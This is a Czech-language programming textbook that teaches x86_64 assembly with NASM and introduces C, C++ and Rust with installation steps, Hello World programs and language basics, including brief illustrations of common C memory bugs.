V této knize budeme používat Intel syntaxi s assemblerem NASM, protože je čitelnější a na Linuxu snadno dostupná.
V další kapitole se podíváme na základy x86_64 — registry, instrukce a syscally.
Základy x86_64
V této kapitole si projdeme základní stavební kameny programování v x86_64 assembly: registry, základní instrukce a syscally (systémová volání).
Registry
Registr je malá paměť přímo v procesoru, která drží data, se kterými právě pracujete. Práce s registry je extrémně rychlá — mnohem rychlejší než práce s hlavní pamětí (RAM).
V x86_64 máme 16 základních obecných 64bitových registrů:
| 64-bit | 32-bit | 16-bit | 8-bit | Typické použití |
|---|---|---|---|---|
rax | eax | ax | al | Akumulátor, návratová hodnota funkcí |
rbx | ebx | bx | bl | Base register (volně použitelný) |
rcx | ecx | cx | cl | Counter, 4. argument syscallu |
rdx | edx | dx | dl | Data, 3. argument syscallu |
rsi | esi | si | sil | Source index, 2. argument syscallu |
rdi | edi | di | dil | Destination index, 1. argument syscallu |
rbp | ebp | bp | bpl | Base pointer (rámec zásobníku) |
rsp | esp | sp | spl | Stack pointer (vrchol zásobníku) |
r8–r15 | r8d–r15d | r8w–r15w | r8b–r15b | Obecné registry (r10 = 4. arg syscallu) |
Jak to s těmi velikostmi funguje?
Každý registr může být přistupován v různých velikostech. Tohle je historická záležitost z doby, kdy procesory byly 16bitové a pak 32bitové — novější, širší registry pohltily ty starší, úzké. Dnes se tedy nejedná o samostatné registry, ale o různé pohledy na jeden a ten samý fyzický registr.
Vezměme si třeba registr rax. Je 64bitový, tedy obsahuje 64 bitů (8 bajtů) dat. Když přistupujete přes jméno eax, pracujete jen se spodními 32 bity toho samého registru. Přes ax se dostanete ke spodním 16 bitům. A ještě níž — přes al pracujete s úplně nejspodnějším bajtem (bity 0 až 7), zatímco přes ah s bajtem nad ním (bity 8 až 15).
Představte si to jako matrjošku: rax obsahuje eax, eax obsahuje ax, a ax se skládá z ah (vyšší bajt) a al (nižší bajt).
Důsledek je, že když zapíšete mov al, 5, změní se jenom nejspodnější bajt — zbytek registru zůstane nedotčený. Jedna drobná výjimka: pokud zapisujete do 32bitové části (eax), procesor automaticky vynuluje horních 32 bitů rax. U 8bitových a 16bitových zápisů se to neděje. Tohle je typický zdroj bugů, na který si dejte pozor.
Základní instrukce
mov — přesun dat
Nejzákladnější instrukce. Zkopíruje hodnotu ze zdroje do cíle. V Intel syntaxi je to mov cíl, zdroj:
mov rax, 60 ; rax = 60 (okamžitá hodnota)
mov rbx, rax ; rbx = rax (z registru do registru)
mov rcx, [rsi] ; rcx = hodnota na adrese v rsi (čtení z paměti)
mov [rdi], rdx ; do paměti na adrese rdi zapíše rdx (zápis)
Aritmetické instrukce
add rax, 5 ; rax = rax + 5
sub rbx, rcx ; rbx = rbx - rcx
inc rax ; rax = rax + 1 (rychlejší než add rax, 1)
dec rbx ; rbx = rbx - 1
mul rcx ; rax = rax * rcx (beznaménkové)
neg rax ; rax = -rax
Logické a bitové operace
and rax, rbx ; bitové AND
or rax, rbx ; bitové OR
xor rax, rax ; rychlý způsob jak vynulovat rax!
shl rax, 3 ; posun doleva o 3 bity (= násobení 8)
shr rax, 1 ; posun doprava o 1 bit (= dělení 2)
Tip:
xor rax, raxse používá místomov rax, 0, protože je kratší ve strojovém kódu a procesory ji umí zpracovat ještě rychleji.
Porovnání a skoky
cmp rax, 10 ; porovná rax s 10 (nastaví flagy)
je label ; skoč na label, pokud rovno (jump if equal)
jne label ; skoč, pokud nerovno
jl label ; skoč, pokud menší (jump if less)
jg label ; skoč, pokud větší
jmp label ; bezpodmínečný skok
Zásobník (stack)
push rax ; uloží rax na zásobník, rsp se zmenší o 8
pop rbx ; vyzvedne hodnotu do rbx, rsp se zvětší o 8
call funkce ; zavolá funkci (uloží návratovou adresu)
ret ; návrat z funkce
Syscally (systémová volání)
Když chce program udělat něco "venku" — vypsat text, otevřít soubor, přečíst ze sítě — musí požádat jádro (kernel) operačního systému. To se dělá pomocí syscallu.
Na Linuxu x86_64 to funguje takto:
- Do
raxdáte číslo syscallu - Do
rdi,rsi,rdx,r10,r8,r9dáte argumenty (v tomto pořadí) - Zavoláte instrukci
syscall - Výsledek najdete v
rax
Nejdůležitější syscally
| Číslo | Název | Popis | Argumenty |
|---|---|---|---|
| 0 | read | Čtení z file descriptoru | fd, buffer, počet bajtů |
| 1 | write | Zápis do file descriptoru | fd, buffer, počet bajtů |
| 2 | open | Otevření souboru | cesta, flags, mode |
| 3 | close | Zavření file descriptoru | fd |
| 60 | exit | Ukončení programu | návratový kód |
File descriptory
Standardní file descriptory, které máte vždy k dispozici:
0— stdin (standardní vstup, typicky klávesnice)1— stdout (standardní výstup, typicky terminál)2— stderr (chybový výstup)
Příklad: ukončení programu s kódem 0
mov rax, 60 ; číslo syscallu "exit"
mov rdi, 0 ; návratový kód 0
syscall ; provedení syscallu
Příklad: zápis na obrazovku
mov rax, 1 ; syscall "write"
mov rdi, 1 ; fd = 1 (stdout)
mov rsi, zprava ; adresa textu
mov rdx, 13 ; délka textu
syscall
Úplný seznam syscallů najdete například na filippo.io/linux-syscall-table nebo v
man 2 syscalls.
V další kapitole si tyto znalosti spojíme a napíšeme první reálný program!
Jak napsat program v Assembly
V této kapitole si postupně napíšeme, zkompilujeme a spustíme náš první program v assembly — klasický Hello, World! — a následně ho rozšíříme o jednoduchou smyčku.
Co budeme potřebovat
Na Linuxu (apt): sudo apt install nasm binutils .
Na Arch Linuxu: sudo pacman -S nasm binutils.
Ověřte instalaci:
nasm --version
ld --version
Struktura programu
Každý NASM program pro Linux se skládá ze tří hlavních sekcí:
.data— inicializovaná data (řetězce, konstanty, čísla).bss— neinicializovaná data (buffery, proměnné bez počáteční hodnoty).text— samotný kód programu
A pak potřebujeme vstupní bod — symbol _start, který říká operačnímu systému, kde program začíná.
Hello, World! — krok za krokem
Krok 1: Vytvořme si datovou sekci
Začneme textem, který chceme vypsat:
section .data
message: db "Hello, World!", 10
message_len: equ $ - message
Co to znamená?
db= define bytes, definuje sérii bajtů"Hello, World!"= samotný text10= ASCII kód znaku nového řádku (\n)equ $ - message= konstanta rovnající se aktuální adresa ($) mínus začátek message, tedy délka řetězce. NASM to spočítá při překladu.
Krok 2: Přidáme textovou sekci a vstupní bod
section .text
global _start
_start:
global _startříká linkeru, že symbol_startje viditelný zvenčí_start:je návěští (label) — místo, kam operační systém po spuštění skočí
Krok 3: Zavoláme write syscall
Chceme vypsat text na stdout (fd = 1):
mov rax, 1 ; syscall číslo 1 = write
mov rdi, 1 ; fd = 1 = stdout
mov rsi, message ; adresa textu
mov rdx, message_len ; délka textu
syscall
Krok 4: Ukončíme program
Bez explicitního ukončení by program spadl. Zavoláme exit:
mov rax, 60 ; syscall číslo 60 = exit
mov rdi, 0 ; návratový kód = 0
syscall
Kompletní program
Uložte si tento soubor jako hello.asm:
section .data
message: db "Hello, World!", 10
message_len: equ $ - message
section .text
global _start
_start:
; write(1, message, message_len)
mov rax, 1 ; syscall: write
mov rdi, 1 ; fd: stdout
mov rsi, message ; buffer
mov rdx, message_len ; délka
syscall
; exit(0)
mov rax, 60 ; syscall: exit
mov rdi, 0 ; status 0
syscall
Krok 5: Kompilace a spuštění
Kompilace má dva kroky — nejdřív assembler vytvoří objektový soubor, pak linker z něj udělá spustitelný program:
nasm -f elf64 hello.asm -o hello.o
ld hello.o -o hello
./hello
Měli byste vidět:
Hello, World!
Gratulujeme, právě jste spustili svůj první program v assembly!
Co dělají ty příkazy?
nasm -f elf64 hello.asm -o hello.o-f elf64= výstupní formát ELF64 (standard na Linuxu 64-bit)-o hello.o= jméno výstupního objektového souboru
ld hello.o -o hello- linker spojí objektový soubor do finálního spustitelného souboru
./hello= spuštění
Rozšíření: Jednoduchá smyčka
Teď si program rozšíříme tak, aby vypsal Hello, World! pětkrát za sebou. Ukážeme si, jak se v assembly dělá smyčka.
Princip smyčky
V assembly smyčku obvykle uděláte takto:
- Do nějakého registru (typicky
rcx) dáte počáteční hodnotu (třeba 5) - Vytvoříte si návěští na začátek smyčky
- Na konci každé iterace registr snížíte a porovnáte s nulou
- Pokud není nula, skočíte zpátky na návěští
Kód se smyčkou
section .data
message: db "Hello, World!", 10
message_len: equ $ - message
section .text
global _start
_start:
mov rcx, 5 ; počítadlo = 5 (kolikrát vypsat)
loop_start:
push rcx ; uložíme rcx na stack (syscall ho může změnit)
; write(1, message, message_len)
mov rax, 1
mov rdi, 1
mov rsi, message
mov rdx, message_len
syscall
pop rcx ; obnovíme počítadlo
dec rcx ; rcx = rcx - 1
jnz loop_start ; pokud rcx != 0, skoč zpátky
; exit(0)
mov rax, 60
mov rdi, 0
syscall
Co je tu nového?
push rcx/pop rcx— syscall může modifikovat registry (zvláštěrcxar11), takže si počítadlo před syscallem uložíme na zásobník a po něm vyzvedneme. Tohle je důležité pravidlo!dec rcx— snížírcxo 1. Zároveň automaticky nastaví zero flag, pokud je výsledek 0.jnz loop_start— Jump if Not Zero. Skočí na návěští, pokud zero flag není nastavený (tedy pokudrcxještě není 0).
Sestavení a spuštění
nasm -f elf64 hello.asm -o hello.o
ld hello.o -o hello
./hello
Výstup:
Hello, World!
Hello, World!
Hello, World!
Hello, World!
Hello, World!
Shrnutí
V této kapitole jste se naučili:
- Jak je strukturován assembly program (sekce
.data,.text, symbol_start) - Jak použít
writesyscall pro výpis na obrazovku - Jak správně ukončit program pomocí
exit - Jak zkompilovat a slinkovat program pomocí NASM a ld
- Jak napsat jednoduchou smyčku s počítadlem a podmíněným skokem
- Proč je důležité ukládat registry před syscallem
Co dál?
Pokud vás assembly zaujalo, můžete se dál podívat na:
- Čtení vstupu od uživatele pomocí
readsyscallu - Aritmetiku s více registry a ukazateli
- Volání funkcí a jak funguje zásobníkový rámec
- Práci se soubory přes
open,read,write,close - System V AMD64 ABI — konvence pro volání funkcí, zvláště když linkujete s C knihovnami
Pěkným dalším krokem je napsat si vlastní jednoduchou funkci strlen, která spočítá délku null-terminated řetězce.
Low level jazyky
V předchozích kapitolách jsme si ukázali, jak vypadá programování úplně na dně — přímo v assembly. Assembly je sice maximálně blízko hardwaru, ale psát v něm větší aplikace je nepraktické: kód je ukecaný, není přenositelný mezi architekturami a snadno se v něm udělá chyba.
Nízkoúrovňové jazyky (low-level languages) jsou kompromisem mezi rychlostí a kontrolou assembly a pohodlím vyšších jazyků. Kompilují se přímo do strojového kódu, umožňují přímou práci s pamětí a nepotřebují běhové prostředí jako JVM nebo Python interpreter. Zároveň ale dávají programátorovi lidsky čitelnou syntaxi a abstrakce, které mu šetří práci.
V této části knihy se podíváme na tři nejvýznamnější zástupce:
C
C je "matka všech jazyků". Vznikl v roce 1972 v Bell Labs a je dodnes páteří operačních systémů, embedded zařízení a knihoven, na kterých stojí prakticky celý ekosystém softwaru. Linuxové jádro, Git, Postgres, Python interpreter — všechno je napsané v C.
Je to minimalistický, procedurální jazyk s ruční správou paměti a přímočarým mapováním na hardware. Dává vám maximum kontroly, ale za cenu veškeré odpovědnosti — žádný garbage collector, žádná bounds-checking, žádné bezpečnostní sítě.
C++
C++ vznikl jako rozšíření C o objektově orientované programování a postupně se rozrostl do obřího multi-paradigmatického jazyka. Dnes se v něm píší herní enginy (Unreal Engine), prohlížeče (Chromium), databáze (MongoDB), high-frequency trading systémy a zatím i velké části Windows.
Přidává k C třídy, šablony (templates), výjimky, RAII pro automatickou správu zdrojů a obrovskou standardní knihovnu (STL). Cenou za tu mocnost je složitost — C++ je notoricky rozsáhlý jazyk, kterým si lze v plné šíři vylámat zuby.
Rust
Rust je moderní jazyk od Mozilly (první stabilní verze 2015), který se pokouší řešit desítky let staré bolístky C a C++ — zejména chyby paměti (use-after-free, buffer overflow, data races), které stojí za většinou bezpečnostních zranitelností v systémovém softwaru.
Klíčovou inovací je borrow checker — kompilátor už při překladu hlídá, kdo co vlastní a po jakou dobu. Pokud napíšete kód, který by mohl způsobit paměťovou chybu, program se zkrátka nezkompiluje. Výsledkem je bezpečnost bez garbage collectoru a bez runtime overheadu.
Rust dnes používají Microsoft, Amazon, Cloudflare, Discord a od 2022 se dokonce postupně dostává i do Linuxového jádra jako alternativa k C.
V dalších kapitolách se na každý z těchto jazyků podíváme podrobněji — jak je nainstalovat, jak zkompilovat Hello World a co je na nich specifického.
C
C je jeden z nejstarších stále používaných programovacích jazyků. Vznikl kolem roku 1972 v Bell Labs, kde ho Dennis Ritchie navrhl jako jazyk pro přepis operačního systému UNIX. Od té doby prošel několika revizemi (K&R C, ANSI C / C89, C99, C11, C17, C23), ale v jádru zůstává stejný: malý, rychlý, přímočarý jazyk, který vám dává plnou kontrolu nad pamětí a hardwarem.
C je dodnes páteří systémového softwaru. Linux kernel, Git, SQLite, PostgreSQL, Python interpreter, Redis, nginx — všechno je napsáno v C.
Instalace
Skoro každý operační systém už má C kompilátor k dispozici, nebo je triviální ho doinstalovat. Nejpoužívanější jsou GCC (gcc) a Clang (clang).
Linux
# Debian / Ubuntu
sudo apt install gcc
# Arch Linux
sudo pacman -S gcc
# Fedora
sudo dnf install gcc
macOS
xcode-select --install
Tím získáte clang, který na macOS funguje jako gcc.
Windows
Podobně jako u C++:
- MSYS2 s GCC (msys2.org)
- MinGW-w64
- Visual Studio s kompilátorem MSVC (
cl.exe)
Ověření
gcc --version
Hello, World!
Soubor hello.c:
#include <stdio.h>
int main(void) {
printf("Hello, World!\n");
return 0;
}
Kompilace a spuštění
gcc hello.c -o hello
./hello
Výstup:
Hello, World!
Co se v tom kódu děje?
#include <stdio.h>— zahrnutí hlavičkového souboru standardní I/O knihovny (obsahujeprintf)int main(void)— vstupní bod programu,voidříká, že funkce nebere žádné argumentyprintf(...)— formátovaný výpis na standardní výstup\n— escape sekvence pro nový řádekreturn 0;— návratová hodnota programu (0 = vše v pořádku)
Užitečné kompilátorové přepínače
Pro seriózní vývoj se vyplatí přidat varování a standard:
gcc -Wall -Wextra -std=c17 hello.c -o hello
-Wall -Wextra— zapne většinu varování, které vám odhalí běžné chyby-std=c17— řekne kompilátoru, kterou verzi standardu C chcete-g— přidá debug symboly (progdb)-O2— optimalizace pro release build
Základní datové typy
C je staticky typovaný jazyk — každá proměnná má typ, který musíte uvést při deklaraci. Typy v C jsou přímo navázané na hardware, takže jejich velikost v bajtech se může lišit podle platformy (ale jsou zaručené minimální velikosti).
Celá čísla
| Typ | Typická velikost | Rozsah (typicky) |
|---|---|---|
char | 1 B | -128 až 127 (nebo 0 až 255) |
short | 2 B | -32 768 až 32 767 |
int | 4 B | cca -2,1 mld. až 2,1 mld. |
long | 4 nebo 8 B | závisí na platformě |
long long | 8 B | cca ±9,2 × 10¹⁸ |
Každý z nich má i unsigned variantu (pouze nezáporná čísla, dvojnásobný kladný rozsah):
unsigned int pocet = 100;
signed char teplota = -15;
Pokud potřebujete přesně definované velikosti bez ohledu na platformu, používejte typy z <stdint.h>:
#include <stdint.h>
int8_t a = -42; // přesně 8 bitů se znaménkem
uint16_t b = 65000; // přesně 16 bitů bez znaménka
int32_t c = 1000000; // přesně 32 bitů
uint64_t d = 1ULL << 40; // přesně 64 bitů
Desetinná čísla
| Typ | Velikost | Přesnost |
|---|---|---|
float | 4 B | ~7 desetinných míst |
double | 8 B | ~15 desetinných míst |
long double | 10–16 B | větší přesnost (závisí na HW) |
float pi_f = 3.14159f; // suffix f = float literál
double pi_d = 3.141592653589793;
Znaky a řetězce
V C neexistuje samostatný typ pro řetězec. Řetězec je jen pole znaků (char) zakončené nulovým bajtem \0.
char znak = 'A'; // jeden znak (vlastně číslo 65)
char pozdrav[] = "Ahoj"; // pole 5 znaků: A, h, o, j, \0
Práce s řetězci se dělá přes funkce z <string.h>:
#include <string.h>
strlen(pozdrav); // délka (nepočítá \0)
strcpy(cil, zdroj); // kopírování (POZOR na přetečení!)
strcmp(a, b); // porovnání
Logický typ
Historicky měl C jen celá čísla — 0 znamenalo false, cokoliv jiného true. Od standardu C99 existuje i _Bool, s hlavičkou <stdbool.h> pak můžete používat známější zápis:
#include <stdbool.h>
bool hotovo = true;
if (!hotovo) { /* ... */ }
void
Speciální "žádný typ". Používá se pro:
- funkce, které nic nevracejí:
void log(const char *msg); - generické ukazatele:
void *data;(o tom za chvíli)
Proměnné, konstanty, operátory
int x = 10; // deklarace + inicializace
const double PI = 3.14; // konstanta, nelze měnit
x += 5; // x = x + 5
x++; // inkrementace (o 1)
int zbytek = 17 % 3; // modulo = 2
int a = (x > 0) ? 1 : -1; // ternární operátor
Kontrolní struktury
if (x > 0) {
printf("kladné\n");
} else if (x == 0) {
printf("nula\n");
} else {
printf("záporné\n");
}
for (int i = 0; i < 10; i++) { /* ... */ }
int i = 0;
while (i < 10) { i++; }
switch (x) {
case 1: puts("jedna"); break;
case 2: puts("dva"); break;
default: puts("něco jiného");
}
Pole
Pole v C má pevnou velikost známou při překladu:
int cisla[5] = {10, 20, 30, 40, 50};
printf("%d\n", cisla[2]); // 30
cisla[0] = 99; // přepis prvního prvku
Pozor: C vám nehlídá přetečení pole. Zápis cisla[10] = 1; u pole o velikosti 5 se zkompiluje bez problémů a za běhu způsobí tiché poškození paměti nebo segfault. Tohle je jedna z hlavních kategorií bezpečnostních zranitelností v C kódu.
Pointery (ukazatele)
Pointer je proměnná, která neobsahuje hodnotu samotnou, ale adresu, kde je hodnota uložena v paměti. Pointery jsou asi nejvíc "vyhlášená" vlastnost C — umožňují přímou manipulaci s pamětí, ale jsou zároveň zdrojem většiny bugů v C programech.
Základy
int x = 42;
int *p = &x; // p je pointer na int, ukazuje na adresu x
printf("%d\n", x); // 42
printf("%d\n", *p); // 42 — dereference pointeru, vezme hodnotu z adresy
printf("%p\n", (void*)p); // adresa, kam p ukazuje (něco jako 0x7ffee...)
*p = 100; // změní hodnotu na adrese, kam p ukazuje
printf("%d\n", x); // 100 — x se změnilo, protože p na něj ukazoval
Dva klíčové operátory:
&x— adresa proměnnéx(address-of operator)*p— hodnota na adrese, kterou držíp(dereference)
Čtení deklarace: int *p = "p je pointer na int". Hvězdička "patří" k proměnné, ne k typu — proto int *p, q; deklaruje jeden pointer a jeden obyčejný int.
Proč pointery existují?
Hlavní důvody, proč je v C vůbec potřebujete:
1. Předávání velkých dat do funkcí. Bez pointerů se parametr kopíruje. Pointer umožňuje funkci pracovat přímo s originálem:
void zdvojnasob(int *n) {
*n = *n * 2;
}
int x = 5;
zdvojnasob(&x); // předáme adresu x
printf("%d\n", x); // 10
2. Dynamická alokace paměti. Kolik paměti bude potřeba, nemusíte vědět při překladu — alokujete ji za běhu:
#include <stdlib.h>
int *pole = malloc(100 * sizeof(int)); // prostor pro 100 intů
if (pole == NULL) { /* ošetření chyby */ }
pole[0] = 42;
// ...
free(pole); // NUTNO explicitně uvolnit!
malloc vrací pointer na začátek přidělené paměti (nebo NULL při neúspěchu). Po skončení práce musíte paměť uvolnit přes free, jinak vzniká memory leak.
3. Pole a pointery spolu úzce souvisí. Jméno pole se při většině použití chová jako pointer na jeho první prvek:
int cisla[5] = {1, 2, 3, 4, 5};
int *p = cisla; // totéž jako &cisla[0]
printf("%d\n", p[2]); // 3
printf("%d\n", *(p + 2)); // 3 — pointerová aritmetika
4. Řetězce. Protože řetězec je pole znaků, pracujeme s ním přes pointer:
const char *jmeno = "Pavel"; // pointer na první znak
Nebezpečí pointerů
Pointery jsou mocné, ale snadno se s nimi udělá chyba. Nejčastější průšvihy:
- Dereference NULL pointeru — pád programu (segfault)
- Dangling pointer — pointer ukazuje na paměť, která už byla uvolněna
- Buffer overflow — zápis za konec pole
- Memory leak — alokovaná paměť se nikdy neuvolní
- Double free — uvolnění stejné paměti dvakrát
Moderní nástroje jako Valgrind, AddressSanitizer (gcc -fsanitize=address) nebo statické analyzátory vám tyhle chyby pomohou najít.
int *p = NULL;
*p = 10; // segfault
int *q = malloc(sizeof(int));
free(q);
*q = 5; // use-after-free
free(q); // double free
void * — univerzální pointer
Pointer na cokoliv. Nejde přímo dereferencovat (kompilátor neví, kolik bajtů číst), ale hodí se pro generické funkce jako malloc nebo memcpy:
void *buf = malloc(1024);
int *as_ints = (int *)buf; // přetypování na konkrétní typ
Struktury
Vlastní složený typ, který seskupuje několik hodnot pod jeden název:
struct Bod {
double x;
double y;
};
struct Bod b = {3.0, 4.0};
printf("%f %f\n", b.x, b.y);
struct Bod *p = &b;
printf("%f\n", p->x); // p->x je zkratka za (*p).x
S typedef si ušetříte psaní struct:
typedef struct {
double x;
double y;
} Bod;
Bod b = {1.0, 2.0};
Funkce a hlavičkové soubory
Když projekt roste, rozdělujete ho do více souborů. Rozhraní (deklarace) se dává do hlavičkového souboru .h, implementace do .c:
math_utils.h:
#ifndef MATH_UTILS_H
#define MATH_UTILS_H
int soucet(int a, int b);
#endif
math_utils.c:
#include "math_utils.h"
int soucet(int a, int b) {
return a + b;
}
main.c:
#include <stdio.h>
#include "math_utils.h"
int main(void) {
printf("%d\n", soucet(3, 4));
return 0;
}
Kompilace obou souborů najednou:
gcc main.c math_utils.c -o program
Ty #ifndef ... #define ... #endif na začátku hlavičkového souboru jsou include guard — chrání před tím, aby se obsah hlavičky vložil dvakrát, pokud ji zahrne více souborů.
Správa paměti: stack vs heap
C rozlišuje dva hlavní způsoby, kde je paměť:
- Stack (zásobník) — lokální proměnné funkcí. Alokace je bleskurychlá, paměť se automaticky uvolní na konci funkce. Omezená velikost (typicky pár MB).
- Heap (halda) — paměť alokovaná ručně přes
malloc/calloc/realloc. Velikost omezená jen množstvím RAM, ale musíte ji ručně uvolnit přesfree.
void funkce(void) {
int x = 10; // stack — automatické
int *p = malloc(sizeof(int)); // heap — musíte free()
*p = 20;
free(p);
// x se uklidí samo po návratu
}
Shrnutí
C je malý jazyk — standardní knihovna je přehledná, syntaxe se vejde na pár stránek. Naučit se základy trvá dny, ne roky. Obtížnost C je jinde: každý řádek kódu nese odpovědnost za to, co dělá s pamětí, a kompilátor vám pomáhá jen omezeně.
Přesto (nebo právě proto) stojí za to se C naučit. Dá vám:
- Hluboké pochopení toho, jak počítač pracuje — pointery, paměť, layout struktur
- Schopnost číst systémový kód — jádra, ovladače, knihovny
- Přenositelnost — C kompilátor existuje pro úplně každou platformu
- Respekt k abstrakcím vyšších jazyků — když jste si sami ručně spravovali paměť, oceníte garbage collector
Pokud chcete jít hlouběji, klasická reference je "The C Programming Language" od Kernighana a Ritchieho (tzv. "K&R"). Z modernějších knih doporučuju "Modern C" od Jense Gustedta.
C++
C++ je rozšířením jazyka C o objektově orientované programování, šablony, výjimky a mnoho dalšího. Dnes se řadí mezi nejmocnější (a zároveň nejsložitější) programovací jazyky — dá se v něm psát od firmwaru pro mikrokontroléry až po operační systémy a herní enginy.
Instalace
Na každé platformě máte na výběr z několika kompilátorů. Nejčastěji se používá GCC (g++) nebo Clang (clang++).
Linux
Na většině distribucí je GCC už nainstalováno, případně dostupné v balíčkovacím systému:
# Debian / Ubuntu
sudo apt install g++
# Arch Linux
sudo pacman -S gcc
# Fedora
sudo dnf install gcc-c++
macOS
Stačí nainstalovat Command Line Tools od Applu (obsahují Clang):
xcode-select --install
Windows
Máte několik možností:
- MSYS2 — přineste si UNIX-like toolchain včetně
g++(msys2.org) - MinGW-w64 — port GCC pro Windows
- Visual Studio — oficiální IDE od Microsoftu s kompilátorem MSVC
Ověření instalace
g++ --version
Hello, World!
Uložte si do souboru hello.cpp:
#include <iostream>
int main() {
std::cout << "Hello, World!" << std::endl;
return 0;
}
Kompilace a spuštění
g++ hello.cpp -o hello
./hello
Výstup:
Hello, World!
Co se v tom kódu děje?
#include <iostream>— zpřístupní standardní I/O knihovnu (objektycout,cin...)int main()— vstupní bod programu. Musí vracetint.std::cout— standardní výstupní proud (standard character out)<<— tzv. stream insertion operator, předává hodnotu do streamustd::endl— nový řádek + flush bufferureturn 0;— program skončil úspěšně (nenulová hodnota by signalizovala chybu)
Rozdíly oproti C
I když C++ z C vychází a většina C kódu se v C++ zkompiluje, obě jazyky se v mnohém liší. Tady jsou hlavní rozdíly:
Objektově orientované programování
C je čistě procedurální. C++ přidává třídy, dědičnost, polymorfismus a další OOP koncepty:
class Animal {
public:
virtual void speak() { std::cout << "..." << std::endl; }
};
class Dog : public Animal {
public:
void speak() override { std::cout << "Haf!" << std::endl; }
};
Šablony (templates)
C++ umí generické programování pomocí šablon — v C byste museli používat makra nebo void *:
template <typename T>
T max(T a, T b) {
return (a > b) ? a : b;
}
max(3, 5); // int verze
max(1.5, 2.7); // double verze
Standardní knihovna (STL)
C má minimalistickou standardní knihovnu. C++ má obří STL s kontejnery (vector, map, set...), algoritmy (sort, find...), streamy a další:
#include <vector>
#include <algorithm>
std::vector<int> numbers = {3, 1, 4, 1, 5, 9, 2, 6};
std::sort(numbers.begin(), numbers.end());
Reference
Kromě ukazatelů má C++ i reference — alternativní jméno pro již existující proměnnou, bezpečnější a čitelnější:
int x = 10;
int& ref = x; // reference na x
ref = 20; // nyní x == 20
RAII a automatická správa zdrojů
C++ přináší koncept RAII (Resource Acquisition Is Initialization) — zdroje (paměť, soubory, zámky) se automaticky uvolňují, když objekt zmizí ze scope. Třídy jako std::string, std::vector nebo std::unique_ptr tak v praxi eliminují potřebu ručního free:
{
std::vector<int> data(1000);
// ...
} // zde se paměť automaticky uvolní
Výjimky
C používá návratové kódy pro chyby. C++ přidává výjimky (throw / try / catch):
try {
throw std::runtime_error("něco se pokazilo");
} catch (const std::exception& e) {
std::cerr << e.what() << std::endl;
}
Přetěžování funkcí a operátorů
V C nesmí dvě funkce mít stejné jméno. V C++ ano, pokud se liší parametry:
int add(int a, int b) { return a + b; }
double add(double a, double b) { return a + b; }
Jmenné prostory
C++ zavádí namespace jako ochranu před kolizemi názvů — proto std::cout, ne jen cout. V C tyhle problémy řešíte prefixy (str_copy, list_append…).
Stručné shrnutí rozdílů
C je malý, jednoduchý a přímočarý — naučíte se ho za pár dní, ale musíte si všechno dělat sami. C++ je nepřeberně velký — naučit se ho pořádně trvá roky, ale za odměnu dostanete nejvyšší míru abstrakcí bez obětování výkonu.
Pokud začínáte, doporučuje se psát v moderním C++ (C++17, C++20, C++23) — vyhněte se starým vzorům z 90. let jako ručnímu
new/delete, C-style cast a raw pointerům všude.
Rust
Rust je moderní systémový programovací jazyk, který kombinuje výkon C/C++ s bezpečností paměti — a to vše bez garbage collectoru. Kompilátor (rustc) před překladem zkontroluje, že kód nedělá nic nebezpečného s pamětí, a pokud ano, prostě se nezkompiluje.
Instalace
Rust se nejjednodušeji instaluje pomocí nástroje rustup, který spravuje verze kompilátoru a toolchainů.
Linux / macOS
Jeden příkaz, který nainstaluje všechno potřebné:
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
Po instalaci je potřeba buď otevřít nový terminál, nebo načíst proměnné prostředí:
source $HOME/.cargo/env
Windows
Stáhněte si instalátor rustup-init.exe z rustup.rs a spusťte. Alternativně přes winget:
winget install Rustlang.Rustup
Ověření instalace
rustc --version
cargo --version
Měli byste vidět něco jako rustc 1.XX.X a cargo 1.XX.X.
Cargo — co to je a jak funguje
Cargo je oficiální build systém a package manager Rustu. Prakticky vše kolem Rust projektů se řeší přes něj:
- vytváření nových projektů
- kompilace a spouštění
- správa závislostí (balíčků z crates.io)
- testování, benchmarky, dokumentace
Zatímco v C a C++ si musíte buildovací systém (Make, CMake, Meson…) vybrat a nastavit sami, v Rustu je Cargo standardem a funguje hned od začátku.
Základní příkazy
cargo new projekt # vytvoří novou složku s projektem
cargo build # zkompiluje projekt (debug)
cargo build --release # optimalizovaný release build
cargo run # zkompiluje A spustí
cargo test # spustí testy
cargo check # rychlá kontrola bez generování binárky
cargo add nazev # přidá závislost do projektu
Struktura projektu
Když spustíte cargo new hello, Cargo vytvoří:
hello/
├── Cargo.toml # manifest projektu (metadata, závislosti)
├── .gitignore # předpřipraveno pro Git
└── src/
└── main.rs # vstupní bod programu
Soubor Cargo.toml vypadá takto:
[package]
name = "hello"
version = "0.1.0"
edition = "2021"
[dependencies]
Závislosti se přidávají buď ručně do [dependencies], nebo pohodlněji pomocí cargo add:
cargo add serde
Hello, World!
Varianta 1: Přes Cargo (doporučený způsob)
cargo new hello
cd hello
cargo run
A je to! Cargo vám rovnou vygeneroval Hello World, zkompiloval ho a spustil:
Compiling hello v0.1.0 (/path/to/hello)
Finished dev [unoptimized + debuginfo] target(s) in 0.42s
Running `target/debug/hello`
Hello, world!
Obsah vygenerovaného src/main.rs:
fn main() { println!("Hello, world!"); }
Varianta 2: Bez Carga, ručně přes rustc
Pro jednorázové skripty se hodí vědět, že Rust zvládne i kompilaci jednoho souboru:
echo 'fn main() { println!("Hello, World!"); }' > hello.rs
rustc hello.rs
./hello
V reálných projektech ale vždycky používejte Cargo — jakmile budete chtít přidat knihovnu nebo napsat test, oceníte to.
Co se v tom kódu děje?
fn main() { println!("Hello, world!"); }
fn main()— vstupní bod programu, stejně jakomainv C/C++println!— makro (poznáte podle vykřičníku), vypíše text na stdout a přidá nový řádek- Žádné
return 0;není potřeba — pokud funkce nic nevrací, implicitně vrací()(jednotkový typ)
Co dělá Rust jiný
Bez zacházení do hloubky — hlavní nápady, které Rust přináší:
- Ownership & borrowing — každá hodnota má právě jednoho vlastníka. Když vlastník zmizí, paměť se uvolní. Pokud chcete hodnotu "půjčit", používáte reference s jasnými pravidly.
- Borrow checker — kompilátor při překladu kontroluje, že nedojde k use-after-free, data race ani dangling pointeru. Pokud ano, program se nezkompiluje.
- Žádné
null— místo toho typOption<T>, který vás nutí explicitně ošetřit případ "žádná hodnota". - Žádné výjimky — chyby se vracejí přes typ
Result<T, E>, takže je z kódu jasně vidět, co může selhat. - Paměťová bezpečnost bez GC — vše výše uvedené běží bez runtime overheadu. Výsledné binárky jsou stejně rychlé jako C/C++.
- Moderní tooling —
cargo, formátterrustfmt, linterclippy, skvělé error messages od kompilátoru.
